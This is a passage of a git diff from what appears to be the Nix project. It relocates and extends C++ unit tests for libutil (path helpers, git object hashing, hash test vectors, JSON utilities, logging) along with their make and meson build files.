ASSERT_EQ(p1, "foo"); +} + +TEST(baseNameOf, pathWithTrailingSlashRoot) +{ + auto p1 = baseNameOf("/"); + ASSERT_EQ(p1, ""); +} + +TEST(baseNameOf, trailingSlash) +{ + auto p1 = baseNameOf("/dir/"); + ASSERT_EQ(p1, "dir"); +} + +TEST(baseNameOf, trailingSlashes) +{ + auto p1 = baseNameOf("/dir//"); + ASSERT_EQ(p1, "dir"); +} + +TEST(baseNameOf, absoluteNothingSlashNothing) +{ + auto p1 = baseNameOf("//"); + ASSERT_EQ(p1, ""); +} + +/* ---------------------------------------------------------------------------- + * isInDir + * --------------------------------------------------------------------------*/ + +TEST(isInDir, trivialCase) +{ + auto p1 = isInDir("/foo/bar", "/foo"); + ASSERT_EQ(p1, true); +} + +TEST(isInDir, notInDir) +{ + auto p1 = isInDir("/zes/foo/bar", "/foo"); + ASSERT_EQ(p1, false); +} + +// XXX: hm, bug or feature? :) Looking at the implementation +// this might be problematic. +TEST(isInDir, emptyDir) +{ + auto p1 = isInDir("/zes/foo/bar", ""); + ASSERT_EQ(p1, true); +} + +/* ---------------------------------------------------------------------------- + * isDirOrInDir + * --------------------------------------------------------------------------*/ + +TEST(isDirOrInDir, trueForSameDirectory) +{ + ASSERT_EQ(isDirOrInDir("/nix", "/nix"), true); + ASSERT_EQ(isDirOrInDir("/", "/"), true); +} + +TEST(isDirOrInDir, trueForEmptyPaths) +{ + ASSERT_EQ(isDirOrInDir("", ""), true); +} + +TEST(isDirOrInDir, falseForDisjunctPaths) +{ + ASSERT_EQ(isDirOrInDir("/foo", "/bar"), false); +} + +TEST(isDirOrInDir, relativePaths) +{ + ASSERT_EQ(isDirOrInDir("/foo/..", "/foo"), true); +} + +// XXX: while it is possible to use "." or ".." in the +// first argument this doesn't seem to work in the second. +TEST(isDirOrInDir, DISABLED_shouldWork) +{ + ASSERT_EQ(isDirOrInDir("/foo/..", "/foo/."), true); +} + +/* ---------------------------------------------------------------------------- + * pathExists + * --------------------------------------------------------------------------*/ + +TEST(pathExists, rootExists) +{ + ASSERT_TRUE(pathExists(FS_ROOT)); +} + +TEST(pathExists, cwdExists) +{ + ASSERT_TRUE(pathExists(".")); +} + +TEST(pathExists, bogusPathDoesNotExist) +{ + ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); +} +} diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc new file mode 100644 index 000000000..3d01d9806 --- /dev/null +++ b/tests/unit/libutil/git.cc @@ -0,0 +1,262 @@ +#include + +#include "git.hh" +#include "memory-source-accessor.hh" + +#include "tests/characterization.hh" + +namespace nix { + +using namespace git; + +class GitTest : public CharacterizationTest +{ + Path unitTestData = getUnitTestData() + "/git"; + +public: + + Path goldenMaster(std::string_view testStem) const override { + return unitTestData + "/" + testStem; + } + + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; + +private: + + void SetUp() override + { + mockXpSettings.set("experimental-features", "git-hashing"); + } +}; + +TEST(GitMode, gitMode_directory) { + Mode m = Mode::Directory; + RawMode r = 0040000; + ASSERT_EQ(static_cast(m), r); + ASSERT_EQ(decodeMode(r), std::optional { m }); +}; + +TEST(GitMode, gitMode_executable) { + Mode m = Mode::Executable; + RawMode r = 0100755; + ASSERT_EQ(static_cast(m), r); + ASSERT_EQ(decodeMode(r), std::optional { m }); +}; + +TEST(GitMode, gitMode_regular) { + Mode m = Mode::Regular; + RawMode r = 0100644; + ASSERT_EQ(static_cast(m), r); + ASSERT_EQ(decodeMode(r), std::optional { m }); +}; + +TEST(GitMode, gitMode_symlink) { + Mode m = Mode::Symlink; + RawMode r = 0120000; + ASSERT_EQ(static_cast(m), r); + ASSERT_EQ(decodeMode(r), std::optional { m }); +}; + +TEST_F(GitTest, blob_read) { + readTest("hello-world-blob.bin", [&](const auto & encoded) { + StringSource in { encoded }; + StringSink out; + RegularFileSink out2 { out }; + ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); + parseBlob(out2, CanonPath::root, in, BlobMode::Regular, mockXpSettings); + + auto expected = readFile(goldenMaster("hello-world.bin")); + + ASSERT_EQ(out.s, expected); + }); +} + +TEST_F(GitTest, blob_write) { + writeTest("hello-world-blob.bin", [&]() { + auto decoded = readFile(goldenMaster("hello-world.bin")); + StringSink s; + dumpBlobPrefix(decoded.size(), s, mockXpSettings); + s(decoded); + return s.s; + }); +} + +/** + * This data is for "shallow" tree tests. However, we use "real" hashes + * so that we can check our test data in a small shell script test test + * (`tests/unit/libutil/data/git/check-data.sh`). + */ +const static Tree tree = { + { + "Foo", + { + .mode = Mode::Regular, + // hello world with special chars from above + .hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1), + }, + }, + { + "bAr", + { + .mode = Mode::Executable, + // ditto + .hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1), + }, + }, + { + "baZ/", + { + .mode = Mode::Directory, + // Empty directory hash + .hash = Hash::parseAny("4b825dc642cb6eb9a060e54bf8d69288fbee4904", HashAlgorithm::SHA1), + }, + }, + { + "quuX", + { + .mode = Mode::Symlink, + // hello world with special chars from above (symlink target + // can be anything) + .hash = Hash::parseAny("63ddb340119baf8492d2da53af47e8c7cfcd5eb2", HashAlgorithm::SHA1), + }, + }, +}; + +TEST_F(GitTest, tree_read) { + readTest("tree.bin", [&](const auto & encoded) { + StringSource in { encoded }; + NullFileSystemObjectSink out; + Tree got; + ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree); + parseTree(out, CanonPath::root, in, [&](auto & name, auto entry) { + auto name2 = std::string{name.rel()}; + if (entry.mode == Mode::Directory) + name2 += '/'; + got.insert_or_assign(name2, std::move(entry)); + }, mockXpSettings); + + ASSERT_EQ(got, tree); + }); +} + +TEST_F(GitTest, tree_write) { + writeTest("tree.bin", [&]() { + StringSink s; + dumpTree(tree, s, mockXpSettings); + return s.s; + }); +} + +TEST_F(GitTest, both_roundrip) { + using File = MemorySourceAccessor::File; + + auto files = make_ref(); + files->root = File::Directory { + .contents { + { + "foo", + File::Regular { + .contents = "hello\n\0\n\tworld!", + }, + }, + { + "bar", + File::Directory { + .contents = { + { + "baz", + File::Regular { + .executable = true, + .contents = "good day,\n\0\n\tworld!", + }, + }, + { + "quux", + File::Symlink { + .target = "/over/there", + }, + }, + }, + }, + }, + }, + }; + + std::map cas; + + std::function dumpHook; + dumpHook = [&](const SourcePath & path) { + StringSink s; + HashSink hashSink { HashAlgorithm::SHA1 }; + TeeSink s2 { s, hashSink }; + auto mode = dump( + path, s2, dumpHook, + defaultPathFilter, mockXpSettings); + auto hash = hashSink.finish().first; + cas.insert_or_assign(hash, std::move(s.s)); + return TreeEntry { + .mode = mode, + .hash = hash, + }; + }; + + auto root = dumpHook({files}); + + auto files2 = make_ref(); + + MemorySink sinkFiles2 { *files2 }; + + std::function mkSinkHook; + mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { + StringSource in { cas[hash] }; + parse( + sinkFiles2, prefix, in, blobMode, + [&](const CanonPath & name, const auto & entry) { + mkSinkHook( + prefix / name, + entry.hash, + // N.B. this cast would not be acceptable in real + // code, because it would make an assert reachable, + // but it should harmless in this test. + static_cast(entry.mode)); + }, + mockXpSettings); + }; + + mkSinkHook(CanonPath::root, root.hash, BlobMode::Regular); + + ASSERT_EQ(files->root, files2->root); +} + +TEST(GitLsRemote, parseSymrefLineWithReference) { + auto line = "ref: refs/head/main HEAD"; + auto res = parseLsRemoteLine(line); + ASSERT_TRUE(res.has_value()); + ASSERT_EQ(res->kind, LsRemoteRefLine::Kind::Symbolic); + ASSERT_EQ(res->target, "refs/head/main"); + ASSERT_EQ(res->reference, "HEAD"); +} + +TEST(GitLsRemote, parseSymrefLineWithNoReference) { + auto line = "ref: refs/head/main"; + auto res = parseLsRemoteLine(line); + ASSERT_TRUE(res.has_value()); + ASSERT_EQ(res->kind, LsRemoteRefLine::Kind::Symbolic); + ASSERT_EQ(res->target, "refs/head/main"); + ASSERT_EQ(res->reference, std::nullopt); +} + +TEST(GitLsRemote, parseObjectRefLine) { + auto line = "abc123 refs/head/main"; + auto res = parseLsRemoteLine(line); + ASSERT_TRUE(res.has_value()); + ASSERT_EQ(res->kind, LsRemoteRefLine::Kind::Object); + ASSERT_EQ(res->target, "abc123"); + ASSERT_EQ(res->reference, "refs/head/main"); +} + +} diff --git a/src/libutil/tests/hash.cc b/tests/unit/libutil/hash.cc similarity index 54% rename from src/libutil/tests/hash.cc rename to tests/unit/libutil/hash.cc index 412c03030..a88994d0b 100644 --- a/src/libutil/tests/hash.cc +++ b/tests/unit/libutil/hash.cc @@ -1,6 +1,9 @@ -#include "hash.hh" +#include + #include +#include "hash.hh" + namespace nix { /* ---------------------------------------------------------------------------- @@ -10,66 +13,80 @@ namespace nix { TEST(hashString, testKnownMD5Hashes1) { // values taken from: https://tools.ietf.org/html/rfc1321 auto s1 = ""; - auto hash = hashString(HashType::htMD5, s1); - ASSERT_EQ(hash.to_string(Base::Base16, true), "md5:d41d8cd98f00b204e9800998ecf8427e"); + auto hash = hashString(HashAlgorithm::MD5, s1); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:d41d8cd98f00b204e9800998ecf8427e"); } TEST(hashString, testKnownMD5Hashes2) { // values taken from: https://tools.ietf.org/html/rfc1321 auto s2 = "abc"; - auto hash = hashString(HashType::htMD5, s2); - ASSERT_EQ(hash.to_string(Base::Base16, true), "md5:900150983cd24fb0d6963f7d28e17f72"); + auto hash = hashString(HashAlgorithm::MD5, s2); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:900150983cd24fb0d6963f7d28e17f72"); } TEST(hashString, testKnownSHA1Hashes1) { // values taken from: https://tools.ietf.org/html/rfc3174 auto s = "abc"; - auto hash = hashString(HashType::htSHA1, s); - ASSERT_EQ(hash.to_string(Base::Base16, true),"sha1:a9993e364706816aba3e25717850c26c9cd0d89d"); + auto hash = hashString(HashAlgorithm::SHA1, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true),"sha1:a9993e364706816aba3e25717850c26c9cd0d89d"); } TEST(hashString, testKnownSHA1Hashes2) { // values taken from: https://tools.ietf.org/html/rfc3174 auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; - auto hash = hashString(HashType::htSHA1, s); - ASSERT_EQ(hash.to_string(Base::Base16, true),"sha1:84983e441c3bd26ebaae4aa1f95129e5e54670f1"); + auto hash = hashString(HashAlgorithm::SHA1, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true),"sha1:84983e441c3bd26ebaae4aa1f95129e5e54670f1"); } TEST(hashString, testKnownSHA256Hashes1) { // values taken from: https://tools.ietf.org/html/rfc4634 auto s = "abc"; - auto hash = hashString(HashType::htSHA256, s); - ASSERT_EQ(hash.to_string(Base::Base16, true), + auto hash = hashString(HashAlgorithm::SHA256, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"); } TEST(hashString, testKnownSHA256Hashes2) { // values taken from: https://tools.ietf.org/html/rfc4634 auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; - auto hash = hashString(HashType::htSHA256, s); - ASSERT_EQ(hash.to_string(Base::Base16, true), + auto hash = hashString(HashAlgorithm::SHA256, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha256:248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1"); } TEST(hashString, testKnownSHA512Hashes1) { // values taken from: https://tools.ietf.org/html/rfc4634 auto s = "abc"; - auto hash = hashString(HashType::htSHA512, s); - ASSERT_EQ(hash.to_string(Base::Base16, true), + auto hash = hashString(HashAlgorithm::SHA512, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha512:ddaf35a193617abacc417349ae20413112e6fa4e89a9" "7ea20a9eeee64b55d39a2192992a274fc1a836ba3c23a3feebbd" "454d4423643ce80e2a9ac94fa54ca49f"); } - TEST(hashString, testKnownSHA512Hashes2) { // values taken from: https://tools.ietf.org/html/rfc4634 auto s = "abcdefghbcdefghicdefghijdefghijkefghijklfghijklmghijklmnhijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu"; - auto hash = hashString(HashType::htSHA512, s); - ASSERT_EQ(hash.to_string(Base::Base16, true), + auto hash = hashString(HashAlgorithm::SHA512, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha512:8e959b75dae313da8cf4f72814fc143f8f7779c6eb9f7fa1" "7299aeadb6889018501d289e4900f7e4331b99dec4b5433a" "c7d329eeb6dd26545e96e55b874be909"); } + + /* ---------------------------------------------------------------------------- + * parseHashFormat, parseHashFormatOpt, printHashFormat + * --------------------------------------------------------------------------*/ + + TEST(hashFormat, testRoundTripPrintParse) { + for (const HashFormat hashFormat: { HashFormat::Base64, HashFormat::Nix32, HashFormat::Base16, HashFormat::SRI}) { + ASSERT_EQ(parseHashFormat(printHashFormat(hashFormat)), hashFormat); + ASSERT_EQ(*parseHashFormatOpt(printHashFormat(hashFormat)), hashFormat); + } + } + + TEST(hashFormat, testParseHashFormatOptException) { + ASSERT_EQ(parseHashFormatOpt("sha0042"), std::nullopt); + } } diff --git a/src/libutil/tests/hilite.cc b/tests/unit/libutil/hilite.cc similarity index 100% rename from src/libutil/tests/hilite.cc rename to tests/unit/libutil/hilite.cc diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc new file mode 100644 index 000000000..704a4acb0 --- /dev/null +++ b/tests/unit/libutil/json-utils.cc @@ -0,0 +1,190 @@ +#include +#include + +#include + +#include "error.hh" +#include "json-utils.hh" + +namespace nix { + +/* Test `to_json` and `from_json` with `std::optional` types. + * We are specifically interested in whether we can _nest_ optionals in STL + * containers so we that we can leverage existing adl_serializer templates. */ + +TEST(to_json, optionalInt) { + std::optional val = std::make_optional(420); + ASSERT_EQ(nlohmann::json(val), nlohmann::json(420)); + val = std::nullopt; + ASSERT_EQ(nlohmann::json(val), nlohmann::json(nullptr)); +} + +TEST(to_json, vectorOfOptionalInts) { + std::vector> vals = { + std::make_optional(420), + std::nullopt, + }; + ASSERT_EQ(nlohmann::json(vals), nlohmann::json::parse("[420,null]")); +} + +TEST(to_json, optionalVectorOfInts) { + std::optional> val = std::make_optional(std::vector { + -420, + 420, + }); + ASSERT_EQ(nlohmann::json(val), nlohmann::json::parse("[-420,420]")); + val = std::nullopt; + ASSERT_EQ(nlohmann::json(val), nlohmann::json(nullptr)); +} + +TEST(from_json, optionalInt) { + nlohmann::json json = 420; + std::optional val = json; + ASSERT_TRUE(val.has_value()); + ASSERT_EQ(*val, 420); + json = nullptr; + json.get_to(val); + ASSERT_FALSE(val.has_value()); +} + +TEST(from_json, vectorOfOptionalInts) { + nlohmann::json json = { 420, nullptr }; + std::vector> vals = json; + ASSERT_EQ(vals.size(), 2); + ASSERT_TRUE(vals.at(0).has_value()); + ASSERT_EQ(*vals.at(0), 420); + ASSERT_FALSE(vals.at(1).has_value()); +} + +TEST(valueAt, simpleObject) { + auto simple = R"({ "hello": "world" })"_json; + + ASSERT_EQ(valueAt(getObject(simple), "hello"), "world"); + + auto nested = R"({ "hello": { "world": "" } })"_json; + + auto & nestedObject = valueAt(getObject(nested), "hello"); + + ASSERT_EQ(valueAt(nestedObject, "world"), ""); +} + +TEST(valueAt, missingKey) { + auto json = R"({ "hello": { "nested": "world" } })"_json; + + auto & obj = getObject(json); + + ASSERT_THROW(valueAt(obj, "foo"), Error); +} + +TEST(getObject, rightAssertions) { + auto simple = R"({ "object": {} })"_json; + + ASSERT_EQ(getObject(valueAt(getObject(simple), "object")), (nlohmann::json::object_t {})); + + auto nested = R"({ "object": { "object": {} } })"_json; + + auto & nestedObject = getObject(valueAt(getObject(nested), "object")); + + ASSERT_EQ(nestedObject, getObject(nlohmann::json::parse(R"({ "object": {} })"))); + ASSERT_EQ(getObject(valueAt(getObject(nestedObject), "object")), (nlohmann::json::object_t {})); +} + +TEST(getObject, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + auto & obj = getObject(json); + + ASSERT_THROW(getObject(valueAt(obj, "array")), Error); + ASSERT_THROW(getObject(valueAt(obj, "string")), Error); + ASSERT_THROW(getObject(valueAt(obj, "int")), Error); + ASSERT_THROW(getObject(valueAt(obj, "boolean")), Error); +} + +TEST(getArray, rightAssertions) { + auto simple = R"({ "array": [] })"_json; + + ASSERT_EQ(getArray(valueAt(getObject(simple), "array")), (nlohmann::json::array_t {})); +} + +TEST(getArray, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getArray(valueAt(json, "object")), Error); + ASSERT_THROW(getArray(valueAt(json, "string")), Error); + ASSERT_THROW(getArray(valueAt(json, "int")), Error); + ASSERT_THROW(getArray(valueAt(json, "boolean")), Error); +} + +TEST(getString, rightAssertions) { + auto simple = R"({ "string": "" })"_json; + + ASSERT_EQ(getString(valueAt(getObject(simple), "string")), ""); +} + +TEST(getString, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getString(valueAt(json, "object")), Error); + ASSERT_THROW(getString(valueAt(json, "array")), Error); + ASSERT_THROW(getString(valueAt(json, "int")), Error); + ASSERT_THROW(getString(valueAt(json, "boolean")), Error); +} + +TEST(getInteger, rightAssertions) { + auto simple = R"({ "int": 0 })"_json; + + ASSERT_EQ(getInteger(valueAt(getObject(simple), "int")), 0); +} + +TEST(getInteger, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getInteger(valueAt(json, "object")), Error); + ASSERT_THROW(getInteger(valueAt(json, "array")), Error); + ASSERT_THROW(getInteger(valueAt(json, "string")), Error); + ASSERT_THROW(getInteger(valueAt(json, "boolean")), Error); +} + +TEST(getBoolean, rightAssertions) { + auto simple = R"({ "boolean": false })"_json; + + ASSERT_EQ(getBoolean(valueAt(getObject(simple), "boolean")), false); +} + +TEST(getBoolean, wrongAssertions) { + auto json = R"({ "object": {}, "array": [], "string": "", "int": 0, "boolean": false })"_json; + + ASSERT_THROW(getBoolean(valueAt(json, "object")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "array")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "string")), Error); + ASSERT_THROW(getBoolean(valueAt(json, "int")), Error); +} + +TEST(optionalValueAt, existing) { + auto json = R"({ "string": "ssh-rsa" })"_json; + + ASSERT_EQ(optionalValueAt(json, "string"), std::optional { "ssh-rsa" }); +} + +TEST(optionalValueAt, empty) { + auto json = R"({})"_json; + + ASSERT_EQ(optionalValueAt(json, "string"), std::nullopt); +} + +TEST(getNullable, null) { + auto json = R"(null)"_json; + + ASSERT_EQ(getNullable(json), nullptr); +} + +TEST(getNullable, empty) { + auto json = R"({})"_json; + + auto * p = getNullable(json); + + ASSERT_NE(p, nullptr); + ASSERT_EQ(*p, R"({})"_json); +} + +} /* namespace nix */ diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk new file mode 100644 index 000000000..404f35cf1 --- /dev/null +++ b/tests/unit/libutil/local.mk @@ -0,0 +1,37 @@ +check: libutil-tests_RUN + +programs += libutil-tests + +libutil-tests_NAME = libnixutil-tests + +libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml + +libutil-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libutil-tests_INSTALL_DIR := $(checkbindir) +else + libutil-tests_INSTALL_DIR := +endif + +libutil-tests_SOURCES := $(wildcard $(d)/*.cc) + +libutil-tests_EXTRA_INCLUDES = \ + -I tests/unit/libutil-support \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) + +libutil-tests_LIBS = libutil-test-support libutil libutilc + +libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif + +check: $(d)/data/git/check-data.sh.test + +$(eval $(call run-test,$(d)/data/git/check-data.sh)) diff --git a/src/libutil/tests/logging.cc b/tests/unit/libutil/logging.cc similarity index 91% rename from src/libutil/tests/logging.cc rename to tests/unit/libutil/logging.cc index 2ffdc2e9b..1d7304f05 100644 --- a/src/libutil/tests/logging.cc +++ b/tests/unit/libutil/logging.cc @@ -2,7 +2,6 @@ #include "logging.hh" #include "nixexpr.hh" -#include "util.hh" #include #include @@ -43,7 +42,7 @@ namespace nix { makeJSONLogger(*logger)->logEI({ .name = "error name", - .msg = hintfmt("this hint has %1% templated %2%!!", + .msg = HintFmt("this hint has %1% templated %2%!!", "yellow", "values"), .errPos = Pos(foFile, problem_file, 02, 13) @@ -63,7 +62,7 @@ namespace nix { throw TestError(e.info()); } catch (Error &e) { ErrorInfo ei = e.info(); - ei.msg = hintfmt("%s; subsequent error message.", normaltxt(e.info().msg.str())); + ei.msg = HintFmt("%s; subsequent error message.", Uncolored(e.info().msg.str())); testing::internal::CaptureStderr(); logger->logEI(ei); @@ -74,7 +73,7 @@ namespace nix { } - TEST(logEI, picksUpSysErrorExitCode) { + TEST(logEI, picksUpSystemErrorExitCode) { MakeError(TestError, Error); ErrorInfo::programName = std::optional("error-unit-test"); @@ -82,12 +81,12 @@ namespace nix { try { auto x = readFile(-1); } - catch (SysError &e) { + catch (SystemError &e) { testing::internal::CaptureStderr(); logError(e.info()); auto str = testing::internal::GetCapturedStderr(); - ASSERT_STREQ(str.c_str(), "\x1B[31;1merror:\x1B[0m\x1B[34;1m --- SysError --- error-unit-test\x1B[0m\nstatting file: \x1B[33;1mBad file descriptor\x1B[0m\n"); + ASSERT_STREQ(str.c_str(), "\x1B[31;1merror:\x1B[0m\x1B[34;1m --- SystemError --- error-unit-test\x1B[0m\nstatting file: \x1B[33;1mBad file descriptor\x1B[0m\n"); } } @@ -177,7 +176,7 @@ namespace nix { logError({ .name = "error name", - .msg = hintfmt("this hint has %1% templated %2%!!", + .msg = HintFmt("this hint has %1% templated %2%!!", "yellow", "values"), .errPos = Pos(foString, problem_file, 02, 13), @@ -194,7 +193,7 @@ namespace nix { logError({ .name = "error name", - .msg = hintfmt("this hint has %1% templated %2%!!", + .msg = HintFmt("this hint has %1% templated %2%!!", "yellow", "values"), .errPos = Pos(foFile, problem_file, 02, 13) @@ -209,7 +208,7 @@ namespace nix { logError({ .name = "error name", - .msg = hintfmt("hint %1%", "only"), + .msg = HintFmt("hint %1%", "only"), }); auto str = testing::internal::GetCapturedStderr(); @@ -226,7 +225,7 @@ namespace nix { logWarning({ .name = "name", - .msg = hintfmt("there was a %1%", "warning"), + .msg = HintFmt("there was a %1%", "warning"), }); auto str = testing::internal::GetCapturedStderr(); @@ -242,7 +241,7 @@ namespace nix { logWarning({ .name = "warning name", - .msg = hintfmt("this hint has %1% templated %2%!!", + .msg = HintFmt("this hint has %1% templated %2%!!", "yellow", "values"), .errPos = Pos(foStdin, problem_file, 2, 13), @@ -265,7 +264,7 @@ namespace nix { auto e = AssertionError(ErrorInfo { .name = "wat", - .msg = hintfmt("it has been %1% days since our last error", "zero"), + .msg = HintFmt("it has been %1% days since our last error", "zero"), .errPos = Pos(foString, problem_file, 2, 13), }); @@ -291,7 +290,7 @@ namespace nix { auto e = AssertionError(ErrorInfo { .name = "wat", - .msg = hintfmt("it has been %1% days since our last error", "zero"), + .msg = HintFmt("it has been %1% days since our last error", "zero"), .errPos = Pos(foString, problem_file, 2, 13), }); @@ -311,39 +310,39 @@ namespace nix { /* ---------------------------------------------------------------------------- - * hintfmt + * HintFmt * --------------------------------------------------------------------------*/ - TEST(hintfmt, percentStringWithoutArgs) { + TEST(HintFmt, percentStringWithoutArgs) { const char *teststr = "this is 100%s correct!"; ASSERT_STREQ( - hintfmt(teststr).str().c_str(), + HintFmt(teststr).str().c_str(), teststr); } - TEST(hintfmt, fmtToHintfmt) { + TEST(HintFmt, fmtToHintfmt) { ASSERT_STREQ( - hintfmt(fmt("the color of this this text is %1%", "not yellow")).str().c_str(), + HintFmt(fmt("the color of this this text is %1%", "not yellow")).str().c_str(), "the color of this this text is not yellow"); } - TEST(hintfmt, tooFewArguments) { + TEST(HintFmt, tooFewArguments) { ASSERT_STREQ( - hintfmt("only one arg %1% %2%", "fulfilled").str().c_str(), + HintFmt("only one arg %1% %2%", "fulfilled").str().c_str(), "only one arg " ANSI_WARNING "fulfilled" ANSI_NORMAL " "); } - TEST(hintfmt, tooManyArguments) { + TEST(HintFmt, tooManyArguments) { ASSERT_STREQ( - hintfmt("what about this %1% %2%", "%3%", "one", "two").str().c_str(), + HintFmt("what about this %1% %2%", "%3%", "one", "two").str().c_str(), "what about this " ANSI_WARNING "%3%" ANSI_NORMAL " " ANSI_YELLOW "one" ANSI_NORMAL); } diff --git a/src/libutil/tests/lru-cache.cc b/tests/unit/libutil/lru-cache.cc similarity index 100% rename from src/libutil/tests/lru-cache.cc rename to tests/unit/libutil/lru-cache.cc diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build new file mode 100644 index 000000000..83cec13ec --- /dev/null +++ b/tests/unit/libutil/meson.build @@ -0,0 +1,97 @@ +project('nix-util-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +subdir('build-utils-meson/export-all-symbols') + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-util.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'args.cc', + 'canon-path.cc', + 'chunked-vector.cc', + 'closure.cc', + 'compression.cc', + 'config.cc', + 'executable-path.cc', + 'file-content-address.cc', + 'git.cc', + 'hash.cc', + 'hilite.cc', + 'json-utils.cc', + 'logging.cc', + 'lru-cache.cc', + 'nix_api_util.cc', + 'pool.cc', + 'processes.cc', + 'references.cc', + 'spawn.cc', + 'strings.cc', + 'suggestions.cc', + 'terminal.cc', + 'url.cc', + 'util.cc', + 'xml-writer.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test( + meson.project_name(), + this_exe, + env : { + '_NIX_TEST_UNIT_DATA': meson.current_source_dir() / 'data', + }, + protocol : 'gtest', +) diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc new file mode 100644 index 000000000..2b7e38225 --- /dev/null +++ b/tests/unit/libutil/nix_api_util.cc @@ -0,0 +1,141 @@ +#include "config-global.hh" +#include "args.hh" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "tests/nix_api_util.hh" +#include "tests/string_callback.hh" + +#include + +namespace nixC { + +TEST_F(nix_api_util_context, nix_context_error) +{ + std::string err_msg_ref; + try { + throw nix::Error("testing error"); + } catch (nix::Error & e) { + err_msg_ref = e.what(); + nix_context_error(ctx); + } + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_EQ(ctx->name, "nix::Error"); + ASSERT_EQ(*ctx->last_err, err_msg_ref); + ASSERT_EQ(ctx->info->msg.str(), "testing error"); + + try { + throw std::runtime_error("testing exception"); + } catch (std::exception & e) { + err_msg_ref = e.what(); + nix_context_error(ctx); + } + ASSERT_EQ(ctx->last_err_code, NIX_ERR_UNKNOWN); + ASSERT_EQ(*ctx->last_err, err_msg_ref); +} + +TEST_F(nix_api_util_context, nix_set_err_msg) +{ + ASSERT_EQ(ctx->last_err_code, NIX_OK); + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_UNKNOWN); + ASSERT_EQ(*ctx->last_err, "unknown test error"); +} + +TEST(nix_api_util, nix_version_get) +{ + ASSERT_EQ(std::string(nix_version_get()), PACKAGE_VERSION); +} + +struct MySettings : nix::Config +{ + nix::Setting settingSet{this, "empty", "setting-name", "Description"}; +}; + +MySettings mySettings; +static nix::GlobalConfig::Register rs(&mySettings); + +TEST_F(nix_api_util_context, nix_setting_get) +{ + ASSERT_EQ(ctx->last_err_code, NIX_OK); + std::string setting_value; + nix_err result = nix_setting_get(ctx, "invalid-key", OBSERVE_STRING(setting_value)); + ASSERT_EQ(result, NIX_ERR_KEY); + + result = nix_setting_get(ctx, "setting-name", OBSERVE_STRING(setting_value)); + ASSERT_EQ(result, NIX_OK); + 